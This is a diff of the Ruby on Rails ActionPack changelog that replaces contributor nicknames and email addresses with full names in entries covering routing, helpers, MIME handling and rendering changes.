+* Documentation for AbstractRequest. Closes #4895. [Kevin Clark] 
 
-* Refactor various InstanceTag instance method to class methods. Closes #4800. [skaes@web.de]
+* Refactor various InstanceTag instance method to class methods. Closes #4800. [Stefan Kaes]
 
 * Remove all remaining references to @params in the documentation. [Marcel Molina Jr.]
 
@@ -1868,25 +2014,25 @@ superclass' view_paths.  [Rick]
 
 * Update layout and content_for documentation to use yield rather than magic @content_for instance variables. [Marcel Molina Jr.]
 
-* Fix assert_redirected_to tests according to real-world usage.  Also, don't fail if you add an extra :controller option: [Rick]
+* Fix assert_redirected_to tests according to real-world usage.  Also, don't fail if you add an extra :controller option: [Rick Olson]
 
     redirect_to :action => 'new'
     assert_redirected_to :controller => 'monkeys', :action => 'new'
 
-* Cache CgiRequest#request_parameters so that multiple calls don't re-parse multipart data. [Rick]
+* Cache CgiRequest#request_parameters so that multiple calls don't re-parse multipart data. [Rick Olson]
 
-* Diff compared routing options.  Allow #assert_recognizes to take a second arg as a hash to specify optional request method [Rick]
+* Diff compared routing options.  Allow #assert_recognizes to take a second arg as a hash to specify optional request method [Rick Olson]
 
     assert_recognizes({:controller => 'users', :action => 'index'}, 'users')
     assert_recognizes({:controller => 'users', :action => 'create'}, {:path => 'users', :method => :post})
 
-* Diff compared options with #assert_redirected_to [Rick]
+* Diff compared options with #assert_redirected_to [Rick Olson]
 
 * Add support in routes for semicolon delimited "subpaths", like /books/:id;:action [Jamis Buck]
 
 * Change link_to_function and button_to_function to (optionally) take an update_page block instead of a JavaScript string. Closes #4804. [zraii@comcast.net, Sam Stephenson]
 
-* Fixed that remote_form_for can leave out the object parameter and default to the instance variable of the object_name, just like form_for [DHH]
+* Fixed that remote_form_for can leave out the object parameter and default to the instance variable of the object_name, just like form_for [David Heinemeier Hansson]
 
 * Modify routing so that you can say :require => { :method => :post } for a route, and the route will never be selected unless the request method is POST. Only works for route recognition, not for route generation. [Jamis Buck]
 
@@ -1902,14 +2048,14 @@ superclass' view_paths.  [Rick]
 
 * Apply [5709] to stable.
 
-* session_enabled? works with session :off.  #6680 [Catfish]
+* session_enabled? works with session :off.  #6680 [Jonathan del Strother]
 
 * Performance: patch cgi/session to require digest/md5 once rather than per #create_new_id.  [Stefan Kaes]
 
 
 *1.13.2* (February 5th, 2007)
 
-* Add much-needed html-scanner tests.  Fixed CDATA parsing bug. [Rick]
+* Add much-needed html-scanner tests.  Fixed CDATA parsing bug. [Rick Olson]
 
 * improve error message for Routing for named routes. [Rob Sanheim]
 
@@ -1931,7 +2077,7 @@ superclass' view_paths.  [Rick]
 
 * Make TextHelper::auto_link recognize URLs with colons in path correctly, fixes #7268.  [imajes]
 
-* Improved auto_link to match more valid urls correctly [Tobias Luetke]
+* Improved auto_link to match more valid urls correctly [Tobias Lütke]
 
 
 *1.13.1* (January 18th, 2007)
@@ -1947,11 +2093,11 @@ superclass' view_paths.  [Rick]
 
 * Update to Prototype 1.5.0. [Sam Stephenson]
 
-* Allow exempt_from_layout :rhtml.  #6742, #7026 [dcmanges, Squeegy]
+* Allow exempt_from_layout :rhtml.  #6742, #7026 [Dan Manges, Squeegy]
 
 * Fix parsing of array[] CGI parameters so extra empty values aren't included.  #6252 [Nicholas Seckar, aiwilliams, brentrowland]
 
-* link_to_unless_current works with full URLs as well as paths.  #6891 [Jarkko Laine, manfred, idrifter]
+* link_to_unless_current works with full URLs as well as paths.  #6891 [Jarkko Laine, Manfred Stienstra, idrifter]
 
 * Fix HTML::Node to output double quotes instead of single quotes.  Closes #6845 [mitreandy]
 
@@ -1993,7 +2139,7 @@ superclass' view_paths.  [Rick]
 
 * Add :index and @auto_index capability to model driven date/time selects.  #847, #2655 [moriq, Doug Fales, Bob Silva]
 
-* Add :order to datetime_select, select_datetime, and select_date.  #1427 [Timothee Peignier, patrick@lenz.sh, Bob Silva]
+* Add :order to datetime_select, select_datetime, and select_date.  #1427 [Timothee Peignier, Patrick Lenz, Bob Silva]
 
 * Added time_select to work with time values in models. Update scaffolding.  #2489, #2833 [Justin Palmer, Andre Caum, Bob Silva]
 
@@ -2005,9 +2151,9 @@ superclass' view_paths.  [Rick]
 
 * @response.redirect_url works with 201 Created responses: just return headers['Location'] rather than checking the response status.  [Jeremy Kemper]
 
-* Fixed that HEAD should return the proper Content-Length header (that is, actually use @body.size, not just 0) [DHH]
+* Fixed that HEAD should return the proper Content-Length header (that is, actually use @body.size, not just 0) [David Heinemeier Hansson]
 
-* Added GET-masquarading for HEAD, so request.method will return :get even for HEADs. This will help anyone relying on case request.method to automatically work with HEAD and map.resources will also allow HEADs to all GET actions. Rails automatically throws away the response content in a reply to HEAD, so you don't even need to worry about that. If you, for whatever reason, still need to distinguish between GET and HEAD in some edge case, you can use Request#head? and even Request.headers["REQUEST_METHOD"] for get the "real" answer. Closes #6694 [DHH]
+* Added GET-masquarading for HEAD, so request.method will return :get even for HEADs. This will help anyone relying on case request.method to automatically work with HEAD and map.resources will also allow HEADs to all GET actions. Rails automatically throws away the response content in a reply to HEAD, so you don't even need to worry about that. If you, for whatever reason, still need to distinguish between GET and HEAD in some edge case, you can use Request#head? and even Request.headers["REQUEST_METHOD"] for get the "real" answer. Closes #6694 [David Heinemeier Hansson]
 
 
 *1.13.0 RC1* (r5619, November 22nd, 2006)
@@ -2047,13 +2193,13 @@ superclass' view_paths.  [Rick]
 
 * Deprecate expire_matched_fragments. Use expire_fragment instead.  #6535 [Bob Silva]
 
-* Deprecate start_form_tag and end_form_tag.  Use form_tag / '</form>' from now on.  [Rick]
+* Deprecate start_form_tag and end_form_tag.  Use form_tag / '</form>' from now on.  [Rick Olson]
 
-* Added block-usage to PrototypeHelper#form_remote_tag, document block-usage of FormTagHelper#form_tag [Rick]
+* Added block-usage to PrototypeHelper#form_remote_tag, document block-usage of FormTagHelper#form_tag [Rick Olson]
 
-* Add a 0 margin/padding div around the hidden _method input tag that form_tag outputs.  [Rick]
+* Add a 0 margin/padding div around the hidden _method input tag that form_tag outputs.  [Rick Olson]
 
-* Added block-usage to TagHelper#content_tag [DHH]. Example:
+* Added block-usage to TagHelper#content_tag [David Heinemeier Hansson]. Example:
 
    <% content_tag :div, :class => "strong" %>
      Hello world!
@@ -2062,13 +2208,13 @@ superclass' view_paths.  [Rick]
   Will output:
     <div class="strong">Hello world!</div>
 
-* Deprecated UrlHelper#link_to_image and UrlHelper#link_to :post => true #6409 [BobSilva]
+* Deprecated UrlHelper#link_to_image and UrlHelper#link_to :post => true #6409 [Bob Silva]
 
-* Upgraded NumberHelper with number_to_phone support international formats to comply with ITU E.123 by supporting area codes with less than 3 digits, added precision argument to number_to_human_size (defaults to 1) #6421 [BobSilva]
+* Upgraded NumberHelper with number_to_phone support international formats to comply with ITU E.123 by supporting area codes with less than 3 digits, added precision argument to number_to_human_size (defaults to 1) #6421 [Bob Silva]
 
-* Fixed that setting RAILS_ASSET_ID to "" should not add a trailing slash after assets #6454 [BobSilva/chrismear]
+* Fixed that setting RAILS_ASSET_ID to "" should not add a trailing slash after assets #6454 [Bob Silva/chrismear]
 
-* Force *_url named routes to show the host in ActionView [Rick]
+* Force *_url named routes to show the host in ActionView [Rick Olson]
 
   <%= url_for ... %> # no host
   <%= foo_path %>    # no host
@@ -2078,9 +2224,9 @@ superclass' view_paths.  [Rick]
 
 * Add JavaScriptGenerator#literal for wrapping a string in an object whose #to_json is the string itself. [Sam Stephenson]
 
-* Add <%= escape_once html %> to escape html while leaving any currently escaped entities alone.  Fix button_to double-escaping issue. [Rick]
+* Add <%= escape_once html %> to escape html while leaving any currently escaped entities alone.  Fix button_to double-escaping issue. [Rick Olson]
 
-* Fix double-escaped entities, such as &amp;amp;, &amp;#123;, etc. [Rick]
+* Fix double-escaped entities, such as &amp;amp;, &amp;#123;, etc. [Rick Olson]
 
 * Fix routing to correctly determine when generation fails. Closes #6300. [psross].
 
@@ -2100,7 +2246,7 @@ superclass' view_paths.  [Rick]
 
 * Rename test assertion to prevent shadowing. Closes #6306. [psross]
 
-* Fixed that NumberHelper#number_to_delimiter should respect precision of higher than two digits #6231 [phallstrom]
+* Fixed that NumberHelper#number_to_delimiter should respect precision of higher than two digits #6231 [Philip Hallstrom]
 
 * Fixed that FormHelper#radio_button didn't respect an :id being passed in #6266 [evansj]
 
@@ -2114,7 +2260,7 @@ superclass' view_paths.  [Rick]
     
   Which is needed for dealing with the IE6 DOM when it's not yet fully loaded.
 
-* Fixed that rescue template path shouldn't be hardcoded, then it's easier to hook in your own #6295 [mnaberez]
+* Fixed that rescue template path shouldn't be hardcoded, then it's easier to hook in your own #6295 [Mike Naberezny]
 
 * Fixed escaping of backslashes in JavaScriptHelper#escape_javascript #6302 [sven@c3d2.de]
 
@@ -2153,7 +2299,7 @@ superclass' view_paths.  [Rick]
 
 * Rescue Errno::ECONNRESET to handle an unexpectedly closed socket connection. Improves SCGI reliability.  #3368, #6226 [sdsykes, fhanshaw@vesaria.com]
 
-* Added that respond_to blocks will automatically set the content type to be the same as is requested [DHH]. Examples:
+* Added that respond_to blocks will automatically set the content type to be the same as is requested [David Heinemeier Hansson]. Examples:
 
     respond_to do |format|
       format.html { render :text => "I'm being sent as text/html" }
@@ -2161,9 +2307,9 @@ superclass' view_paths.  [Rick]
       format.atom { render :text => "I'm being sent as application/xml", :content_type => Mime::XML }
     end
 
-* Added utf-8 as the default charset for all renders. You can change this default using ActionController::Base.default_charset=(encoding) [DHH]
+* Added utf-8 as the default charset for all renders. You can change this default using ActionController::Base.default_charset=(encoding) [David Heinemeier Hansson]
 
-* Added proper getters and setters for content type and charset [DHH]. Example of what we used to do:
+* Added proper getters and setters for content type and charset [David Heinemeier Hansson]. Example of what we used to do:
 
     response.headers["Content-Type"] = "application/atom+xml; charset=utf-8"
   
@@ -2192,7 +2338,7 @@ superclass' view_paths.  [Rick]
 
 * Load helpers in alphabetical order for consistency. Resolve cyclic javascript_helper dependency.  #6132, #6178 [choonkeat@gmail.com]
 
-* Skip params with empty names, such as the &=Save query string from <input type="submit"/>.  #2569 [manfred, raphinou@yahoo.com]
+* Skip params with empty names, such as the &=Save query string from <input type="submit"/>.  #2569 [Manfred Stienstra, raphinou@yahoo.com]
 
 * Fix assert_tag so that :content => "foo" does not match substrings, but only exact strings. Use :content => /foo/ to match substrings. #2799 [Eric Hodel]
 
@@ -2200,7 +2346,7 @@ superclass' view_paths.  [Rick]
 
 * Update UrlWriter to support :only_path. [Nicholas Seckar, Dave Thomas]
 
-* Fixed JavaScriptHelper#link_to_function and JavaScriptHelper#button_to_function to have the script argument be optional [DHH]. So what used to require a nil, like this:
+* Fixed JavaScriptHelper#link_to_function and JavaScriptHelper#button_to_function to have the script argument be optional [David Heinemeier Hansson]. So what used to require a nil, like this:
 
     link_to("Hider", nil, :class => "hider_link") { |p| p[:something].hide }
   
@@ -2217,7 +2363,7 @@ superclass' view_paths.  [Rick]
 
 * Fixed that AssetTagHelper#image_tag and others using compute_public_path should not modify the incoming source argument (closes #5102) [eule@space.ch]
 
-* Deprecated the auto-appending of .png to AssetTagHelper#image_tag calls that doesn't have an extension [DHH] 
+* Deprecated the auto-appending of .png to AssetTagHelper#image_tag calls that doesn't have an extension [David Heinemeier Hansson] 
 
 * Fixed FormOptionsHelper#select to respect :selected value #5813
 
@@ -2227,13 +2373,13 @@ superclass' view_paths.  [Rick]
 
 * Improved resolution of DateHelper#distance_of_time_in_words for better precision #5994 [Bob Silva]
 
-* Changed that uncaught exceptions raised any where in the application will cause RAILS_ROOT/public/500.html to be read and shown instead of just the static "Application error (Rails)" [DHH]
+* Changed that uncaught exceptions raised any where in the application will cause RAILS_ROOT/public/500.html to be read and shown instead of just the static "Application error (Rails)" [David Heinemeier Hansson]
 
-* Added deprecation language for pagination which will become a plugin by Rails 2.0 [DHH]
+* Added deprecation language for pagination which will become a plugin by Rails 2.0 [David Heinemeier Hansson]
 
-* Added deprecation language for in_place_editor and auto_complete_field that both pieces will become plugins by Rails 2.0 [DHH]
+* Added deprecation language for in_place_editor and auto_complete_field that both pieces will become plugins by Rails 2.0 [David Heinemeier Hansson]
 
-* Deprecated all of ActionController::Dependencies. All dependency loading is now handled from Active Support [DHH]
+* Deprecated all of ActionController::Dependencies. All dependency loading is now handled from Active Support [David Heinemeier Hansson]
 
 * Added assert_select* for CSS selector-based testing (deprecates assert_tag) #5936 [assaf.arkin@gmail.com]
 
@@ -2253,9 +2399,9 @@ superclass' view_paths.  [Rick]
 
 * Integration tests: headers beginning with X aren't excluded from the HTTP_ prefix, so X-Requested-With becomes HTTP_X_REQUESTED_WITH as expected. [Mike Clark]
 
-* Switch to using FormEncodedPairParser for parsing request parameters. [Nicholas Seckar, DHH]
+* Switch to using FormEncodedPairParser for parsing request parameters. [Nicholas Seckar, David Heinemeier Hansson]
 
-* respond_to .html now always renders #{action_name}.rhtml so that registered custom template handlers do not override it in priority. Custom mime types require a block and throw proper error now. [Tobias Luetke]
+* respond_to .html now always renders #{action_name}.rhtml so that registered custom template handlers do not override it in priority. Custom mime types require a block and throw proper error now. [Tobias Lütke]
 
 * Deprecation: test deprecated instance vars in partials. [Jeremy Kemper]
 
@@ -2281,7 +2427,7 @@ superclass' view_paths.  [Rick]
 
 * Deprecation! @params, @session, @flash will be removed after 1.2. Use the corresponding instance methods instead. You'll get printed warnings during tests and logged warnings in dev mode when you access either instance variable directly. [Jeremy Kemper]
 
-* Make Routing noisy when an anchor regexp is assigned to a segment. #5674 [francois.beausoleil@gmail.com]
+* Make Routing noisy when an anchor regexp is assigned to a segment. #5674 [François Beausoleil]
 
 * Added months and years to the resolution of DateHelper#distance_of_time_in_words, such that "60 days ago" becomes "2 months ago" #5611 [pjhyett@gmail.com]
 
@@ -2295,7 +2441,7 @@ superclass' view_paths.  [Rick]
 
 * Fixed the new_#{resource}_url route and added named route tests for Simply Restful.  [Rick Olson]
 
-* Added map.resources from the Simply Restful plugin [DHH]. Examples (the API has changed to use plurals!):
+* Added map.resources from the Simply Restful plugin [David Heinemeier Hansson]. Examples (the API has changed to use plurals!):
 
     map.resources :messages
     map.resources :messages, :comments
@@ -2303,13 +2449,13 @@ superclass' view_paths.  [Rick]
 
 * Fixed that integration simulation of XHRs should set Accept header as well [Edward Frederick]
 
-* TestRequest#reset_session should restore a TestSession, not a hash [Koz]
+* TestRequest#reset_session should restore a TestSession, not a hash [Michael Koziarski]
 
 * Don't search a load-path of '.' for controller files [Jamis Buck]
 
 * Update integration.rb to require test_process explicitly instead of via Dependencies. [Nicholas Seckar]
 
-* Fixed that you can still access the flash after the flash has been reset in reset_session.  Closes #5584 [lmarlow@yahoo.com]
+* Fixed that you can still access the flash after the flash has been reset in reset_session.  Closes #5584 [lmarlow]
 
 * Allow form_for and fields_for to work with indexed form inputs.  [Jeremy Kemper, Matt Lyon]
 
@@ -2318,11 +2464,11 @@ superclass' view_paths.  [Rick]
 
 * Remove leak in development mode by replacing define_method with module_eval. [Nicholas Seckar]
 
-* Provide support for decimal columns to form helpers. Closes #5672. [dave@pragprog.com]
+* Provide support for decimal columns to form helpers. Closes #5672. [Dave Thomas]
 
 * Pass :id => nil or :class => nil to error_messages_for to supress that html attribute. #3586 [olivier_ansaldi@yahoo.com, sebastien@goetzilla.info]
 
-* Reset @html_document between requests so assert_tag works. #4810 [jarkko@jlaine.net, easleydp@gmail.com]
+* Reset @html_document between requests so assert_tag works. #4810 [Jarkko Laine, easleydp@gmail.com]
 
 * Integration tests behave well with render_component. #4632 [edward.frederick@revolution.com, dev.rubyonrails@maxdunn.com]
 
@@ -2330,21 +2476,21 @@ superclass' view_paths.  [Rick]
 
 * Fixed that real files and symlinks should be treated the same when compiling templates #5438 [zachary@panandscan.com]
 
-* Fixed that the flash should be reset when reset_session is called #5584 [shugo@ruby-lang.org]
+* Fixed that the flash should be reset when reset_session is called #5584 [Shugo Maeda]
 
 * Added special case for "1 Byte" in NumberHelper#number_to_human_size #5593 [murpyh@rubychan.de]
 
-* Fixed proper form-encoded parameter parsing for requests with "Content-Type: application/x-www-form-urlencoded; charset=utf-8" (note the presence of a charset directive) [DHH]
+* Fixed proper form-encoded parameter parsing for requests with "Content-Type: application/x-www-form-urlencoded; charset=utf-8" (note the presence of a charset directive) [David Heinemeier Hansson]
 
 * Add route_name_path method to generate only the path for a named routes. For example, map.person will add person_path. [Nicholas Seckar]
 
 * Avoid naming collision among compiled view methods. [Jeremy Kemper]
 
-* Fix CGI extensions when they expect string but get nil in Windows. Closes #5276 [mislav@nippur.irb.hr]
+* Fix CGI extensions when they expect string but get nil in Windows. Closes #5276 [Mislav Marohnić]
 
 * Determine the correct template_root for deeply nested components.  #2841 [s.brink@web.de]
 
-* Fix that routes with *path segments in the recall can generate URLs. [Rick]
+* Fix that routes with *path segments in the recall can generate URLs. [Rick Olson]
 
 * Fix strip_links so that it doesn't hang on multiline <acronym> tags [Jamis Buck]
 
@@ -2360,11 +2506,11 @@ superclass' view_paths.  [Rick]
 
 * Rewind readable CGI params so others may reread them (such as CGI::Session when passing the session id in a multipart form).  #210 [mklame@atxeu.com, matthew@walker.wattle.id.au]
 
-* Added Mime::TEXT (text/plain) and Mime::ICS (text/calendar) as new default types [DHH]
+* Added Mime::TEXT (text/plain) and Mime::ICS (text/calendar) as new default types [David Heinemeier Hansson]
 
-* Added Mime::Type.register(string, symbol, synonyms = []) for adding new custom mime types [DHH]. Example: Mime::Type.register("image/gif", :gif)
+* Added Mime::Type.register(string, symbol, synonyms = []) for adding new custom mime types [David Heinemeier Hansson]. Example: Mime::Type.register("image/gif", :gif)
 
-* Added support for Mime objects in render :content_type option [DHH]. Example: render :text => some_atom, :content_type => Mime::ATOM
+* Added support for Mime objects in render :content_type option [David Heinemeier Hansson]. Example: render :text => some_atom, :content_type => Mime::ATOM
 
 * Add :status option to send_data and send_file. Defaults to '200 OK'.  #5243 [Manfred Stienstra <m.stienstra@fngtps.com>]
 
@@ -2378,7 +2524,7 @@ superclass' view_paths.  [Rick]
 
 * Accept multipart PUT parameters. #5235 [guy.naor@famundo.com]
 
-* Added interrogation of params[:format] to determine Accept type. If :format is specified and matches a declared extension, like "rss" or "xml", that mime type will be put in front of the accept handler. This means you can link to the same action from different extensions and use that fact to determine output [DHH]. Example:
+* Added interrogation of params[:format] to determine Accept type. If :format is specified and matches a declared extension, like "rss" or "xml", that mime type will be put in front of the accept handler. This means you can link to the same action from different extensions and use that fact to determine output [David Heinemeier Hansson]. Example:
 
   class WeblogController < ActionController::Base
     def index
@@ -2411,13 +2557,13 @@ superclass' view_paths.  [Rick]
   
   All this relies on the fact that you have a route that includes .:format.
   
-* Expanded :method option in FormTagHelper#form_tag, FormHelper#form_for, PrototypeHelper#remote_form_for, PrototypeHelper#remote_form_tag, and PrototypeHelper#link_to_remote to allow for verbs other than GET and POST by automatically creating a hidden form field named _method, which will simulate the other verbs over post [DHH]
+* Expanded :method option in FormTagHelper#form_tag, FormHelper#form_for, PrototypeHelper#remote_form_for, PrototypeHelper#remote_form_tag, and PrototypeHelper#link_to_remote to allow for verbs other than GET and POST by automatically creating a hidden form field named _method, which will simulate the other verbs over post [David Heinemeier Hansson]
 
-* Added :method option to UrlHelper#link_to, which allows for using other verbs than GET for the link. This replaces the :post option, which is now deprecated. Example: link_to "Destroy", person_url(:id => person), :method => :delete [DHH]
+* Added :method option to UrlHelper#link_to, which allows for using other verbs than GET for the link. This replaces the :post option, which is now deprecated. Example: link_to "Destroy", person_url(:id => person), :method => :delete [David Heinemeier Hansson]
 
 * follow_redirect doesn't complain about being redirected to the same controller. #5153 [dymo@mk.ukrtelecom.ua]
 
-* Add layout attribute to response object with the name of the layout that was rendered, or nil if none rendered. [Kevin Clark kevin.clark@gmail.com]
+* Add layout attribute to response object with the name of the layout that was rendered, or nil if none rendered. [Kevin Clark]
 
 * Fix NoMethodError when parsing params like &&. [Adam Greenfield]
 
@@ -2425,7 +2571,7 @@ superclass' view_paths.  [Rick]
 
 * Excise ingrown code from FormOptionsHelper#options_for_select. #5008 [anonymous]
 
-* Small fix in routing to allow dynamic routes (broken after [4242]) [Rick]
+* Small fix in routing to allow dynamic routes (broken after [4242]) [Rick Olson]
 
     map.connect '*path', :controller => 'files', :action => 'show'
 
@@ -2435,17 +2581,17 @@ superclass' view_paths.  [Rick]
   
   error_messages_for :account, :user, :subscription, :object_name => :account
 
-* Fix assert_redirected_to tests according to real-world usage.  Also, don't fail if you add an extra :controller option: [Rick]
+* Fix assert_redirected_to tests according to real-world usage.  Also, don't fail if you add an extra :controller option: [Rick Olson]
 
     redirect_to :action => 'new'
     assert_redirected_to :controller => 'monkeys', :action => 'new'
 
-* Diff compared routing options.  Allow #assert_recognizes to take a second arg as a hash to specify optional request method [Rick]
+* Diff compared routing options.  Allow #assert_recognizes to take a second arg as a hash to specify optional request method [Rick Olson]
 
     assert_recognizes({:controller => 'users', :action => 'index'}, 'users')
     assert_recognizes({:controller => 'users', :action => 'create'}, {:path => 'users', :method => :post})
 
-* Diff compared options with #assert_redirected_to [Rick]
+* Diff compared options with #assert_redirected_to [Rick Olson]
 
 * Add support in routes for semicolon delimited "subpaths", like /books/:id;:action [Jamis Buck]
 
@@ -2466,9 +2612,9 @@ superclass' view_paths.  [Rick]
 
 *1.12.4* (August 8th, 2006)
 
-* Cache CgiRequest#request_parameters so that multiple calls don't re-parse multipart data. [Rick]
+* Cache CgiRequest#request_parameters so that multiple calls don't re-parse multipart data. [Rick Olson]
 
-* Fixed that remote_form_for can leave out the object parameter and default to the instance variable of the object_name, just like form_for [DHH]
+* Fixed that remote_form_for can leave out the object parameter and default to the instance variable of the object_name, just like form_for [David Heinemeier Hansson]
 
 * Added ActionController.filter_parameter_logging that makes it easy to remove passwords, credit card numbers, and other sensitive information from being logged when a request is handled.  #1897 [jeremye@bsa.ca.gov]
 
@@ -2509,7 +2655,7 @@ superclass' view_paths.  [Rick]
 
 * Update the diagnostics template skip the useless '<controller not set>' text. [Nicholas Seckar]
 
-* CHANGED DEFAULT: Don't parse YAML input by default, but keep it available as an easy option [DHH]
+* CHANGED DEFAULT: Don't parse YAML input by default, but keep it available as an easy option [David Heinemeier Hansson]
 
 * Add additional autocompleter options [aballai, Thomas Fuchs]
 
@@ -2517,7 +2663,7 @@ superclass' view_paths.  [Rick]
 
 * Applied Prototype $() performance patches (#4465, #4477) and updated script.aculo.us [Sam Stephenson, Thomas Fuchs]
 
-* Added automated timestamping to AssetTagHelper methods for stylesheets, javascripts, and images when Action Controller is run under Rails [DHH]. Example:
+* Added automated timestamping to AssetTagHelper methods for stylesheets, javascripts, and images when Action Controller is run under Rails [David Heinemeier Hansson]. Example:
 
     image_tag("rails.png") # => '<img alt="Rails" src="/images/rails.png?1143664135" />'
   
@@ -2551,9 +2697,9 @@ superclass' view_paths.  [Rick]
 
 * Fix double url escaping of remote_function. Add :escape => false option to ActionView's url_for. [Nicholas Seckar]
 
-* Add :script option to in_place_editor to support evalScripts (closes #4194) [codyfauser@gmail.com]
+* Add :script option to in_place_editor to support evalScripts (closes #4194) [Cody Fauser]
 
-* Fix mixed case enumerable methods in the JavaScript Collection Proxy (closes #4314) [codyfauser@gmail.com]
+* Fix mixed case enumerable methods in the JavaScript Collection Proxy (closes #4314) [Cody Fauser]
 
 * Undo accidental escaping for mail_to; add regression test. [Nicholas Seckar]
 
@@ -2588,9 +2734,9 @@ superclass' view_paths.  [Rick]
 
 * XML-formatted requests are typecast according to "type" attributes for :xml_simple [Jamis Buck]
 
-* Added protection against proxy setups treating requests as local even when they're not #3898 [stephen_purcell@yahoo.com]
+* Added protection against proxy setups treating requests as local even when they're not #3898 [Steve Purcell]
 
-* Added TestRequest#raw_post that simulate raw_post from CgiRequest #3042 [francois.beausoleil@gmail.com]
+* Added TestRequest#raw_post that simulate raw_post from CgiRequest #3042 [François Beausoleil]
 
 * Underscore dasherized keys in formatted requests [Jamis Buck]
 
@@ -2606,11 +2752,11 @@ superclass' view_paths.  [Rick]
 
 * Added simple alert() notifications for RJS exceptions when config.action_view.debug_rjs = true. [Sam Stephenson]
 
-* Added :content_type option to render, so you can change the content type on the fly [DHH]. Example: render :action => "atom.rxml", :content_type => "application/atom+xml"
+* Added :content_type option to render, so you can change the content type on the fly [David Heinemeier Hansson]. Example: render :action => "atom.rxml", :content_type => "application/atom+xml"
 
-* CHANGED DEFAULT: The default content type for .rxml is now application/xml instead of type/xml, see http://www.xml.com/pub/a/2004/07/21/dive.html for reason [DHH]
+* CHANGED DEFAULT: The default content type for .rxml is now application/xml instead of type/xml, see http://www.xml.com/pub/a/2004/07/21/dive.html for reason [David Heinemeier Hansson]
 
-* Added option to render action/template/file of a specific extension (and here by template type). This means you can have multiple templates with the same name but a different extension [DHH]. Example:
+* Added option to render action/template/file of a specific extension (and here by template type). This means you can have multiple templates with the same name but a different extension [David Heinemeier Hansson]. Example:
   
     class WeblogController < ActionController::Base
       def index
@@ -2624,7 +2770,7 @@ superclass' view_paths.  [Rick]
       end
     end
 
-* Added better support for using the same actions to output for different sources depending on the Accept header [DHH]. Example:
+* Added better support for using the same actions to output for different sources depending on the Accept header [David Heinemeier Hansson]. Example:
 
     class WeblogController < ActionController::Base
       def create
@@ -2641,9 +2787,9 @@ superclass' view_paths.  [Rick]
       end
     end
 
-* Added Base#render(:xml => xml) that works just like Base#render(:text => text), but sets the content-type to text/xml and the charset to UTF-8 [DHH]
+* Added Base#render(:xml => xml) that works just like Base#render(:text => text), but sets the content-type to text/xml and the charset to UTF-8 [David Heinemeier Hansson]
 
-* Integration test's url_for now runs in the context of the last request (if any) so after post /products/show/1 url_for :action => 'new' will yield /product/new  [Tobias Luetke]
+* Integration test's url_for now runs in the context of the last request (if any) so after post /products/show/1 url_for :action => 'new' will yield /product/new  [Tobias Lütke]
 
 * Re-added mixed-in helper methods for the JavascriptGenerator.  Moved JavascriptGenerators methods to a module that is mixed in after the helpers are added.  Also fixed that variables set in the enumeration methods like #collect are set correctly.  Documentation added for the enumeration methods [Rick Olson].  Examples:
 
@@ -2663,7 +2809,7 @@ superclass' view_paths.  [Rick]
     # Assign the default XmlSimple to a new content type
     ActionController::Base.param_parsers['application/backpack+xml'] = :xml_simple
  
-Default YAML web services were retired, ActionController::Base.param_parsers carries an example which shows how to get this functionality back. As part of this new plugin support, request.[formatted_post?, xml_post?, yaml_post? and post_format] were all deprecated in favor of request.content_type [Tobias Luetke]
+Default YAML web services were retired, ActionController::Base.param_parsers carries an example which shows how to get this functionality back. As part of this new plugin support, request.[formatted_post?, xml_post?, yaml_post? and post_format] were all deprecated in favor of request.content_type [Tobias Lütke]
  
 * Fixed Effect.Appear in effects.js to work with floats in Safari #3524, #3813, #3044 [Thomas Fuchs]
 
@@ -2693,11 +2839,11 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Added various InPlaceEditor options, #3746, #3891, #3896, #3906 [Bill Burcham, ruairi, sl33p3r]
 
-* Added :count option to pagination that'll make it possible for the ActiveRecord::Base.count call to using something else than * for the count. Especially important for count queries using DISTINCT #3839 [skaes]
+* Added :count option to pagination that'll make it possible for the ActiveRecord::Base.count call to using something else than * for the count. Especially important for count queries using DISTINCT #3839 [Stefan Kaes]
 
 * Update script.aculo.us to V1.5.2 [Thomas Fuchs]
 
-* Added element and collection proxies to RJS [DHH]. Examples:
+* Added element and collection proxies to RJS [David Heinemeier Hansson]. Examples:
 
     page['blank_slate']                  # => $('blank_slate');
     page['blank_slate'].show             # => $('blank_slate').show();
@@ -2743,7 +2889,7 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Document the :xhr option for verifications. #3666 [leeo]
 
-* Added :only and :except controls to skip_before/after_filter just like for when you add filters [DHH]
+* Added :only and :except controls to skip_before/after_filter just like for when you add filters [David Heinemeier Hansson]
 
 * Ensure that the instance variables are copied to the template when performing render :update. [Nicholas Seckar]
 
@@ -2765,13 +2911,13 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Fix render(:update) to not render layouts. [Sam Stephenson]
 
-* Fixed that SSL would not correctly be detected when running lighttpd/fcgi behind lighttpd w/mod_proxy #3548 [stephen_purcell@yahoo.com]
+* Fixed that SSL would not correctly be detected when running lighttpd/fcgi behind lighttpd w/mod_proxy #3548 [Steve Purcell]
 
 * Added the possibility to specify atomatic expiration for the memcachd session container #3571 [Stefan Kaes]
 
 * Change layout discovery to take into account the change in semantics with File.join and nil arguments. [Marcel Molina Jr.]
 
-* Raise a RedirectBackError if redirect_to :back is called when there's no HTTP_REFERER defined #3049 [kevin.clark@gmail.com]
+* Raise a RedirectBackError if redirect_to :back is called when there's no HTTP_REFERER defined #3049 [Kevin Clark]
 
 * Treat timestamps like datetimes for scaffolding purposes #3388 [Maik Schmidt]
 
@@ -2811,15 +2957,15 @@ Default YAML web services were retired, ActionController::Base.param_parsers car
 
 * Have the form builder output radio button, not check box, when calling the radio button helper. #3331 [LouisStAmour@gmail.com]
 
-* Added assignment of the Autocompleter object created by JavaScriptMacroHelper#auto_complete_field to a local javascript variables [DHH]
+* Added assignment of the Autocompleter object created by JavaScriptMacroHelper#auto_complete_field to a local javascript variables [David Heinemeier Hansson]
 
-* Added :on option for PrototypeHelper#observe_field that allows you to specify a different callback hook to have the observer trigger on [DHH]
+* Added :on option for PrototypeHelper#observe_field that allows you to specify a different callback hook to have the observer trigger on [David Heinemeier Hansson]
 
-* Added JavaScriptHelper#button_to_function that works just like JavaScriptHelper#link_to_function but uses a button instead of a href [DHH]
+* Added JavaScriptHelper#button_to_function that works just like JavaScriptHelper#link_to_function but uses a button instead of a href [David Heinemeier Hansson]
 
-* Added that JavaScriptHelper#link_to_function will honor existing :onclick definitions when adding the function call [DHH]
+* Added that JavaScriptHelper#link_to_function will honor existing :onclick definitions when adding the function call [David Heinemeier Hansson]
 
